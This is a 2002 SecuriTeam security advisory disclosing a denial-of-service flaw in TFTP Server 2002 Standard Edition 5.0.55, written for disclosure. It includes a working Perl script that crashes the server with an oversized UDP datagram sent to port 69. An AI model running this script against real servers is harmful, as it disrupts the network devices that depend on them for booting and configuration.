[NT] TFTP Server 2002 Standard Edition DoS

From: support@securiteam.com
Date: 10/24/02 

From: support@securiteam.com
To: list@securiteam.com
Date: 24 Oct 2002 20:30:34 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  TFTP Server 2002 Standard Edition DoS
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SUMMARY

Many network devices require a TFTP Server to load their initial operating
system or configuration. Many routers, switches, hubs, X-terminals,
printers, terminal servers, etc need a TFTP server in order to load their
initial configuration. A security vulnerability in the product allows
remote attackers to cause the product to fail effectively causing a denial
of service attack.

DETAILS

Vulnerable systems:
TFTP Server 2002 Standard Edition version 5.0.55

It's possible to crash the TFTP server using a UDP datagram with a large
packet (8193 and above). The vulnerable application on remote host will
close with error message:

Run-time error '10040':
The datagram is too large to fit into the buffer and is truncated.

Exploit:
#!/usr/bin/perl
#TFTP Server remote DoS exploit by D4rkGr3y
use IO::Socket;
$host = "vulnerable_host";
$port = "69";
$data = "q";
$num = "8193";
$buf .= $data x $num;
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host);
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
$!\n";
print "Now, '$host' must be dead :)\n";

ADDITIONAL INFORMATION

The information has been provided by <mailto:grey_1999@mail.ru> D4rkGr3y.

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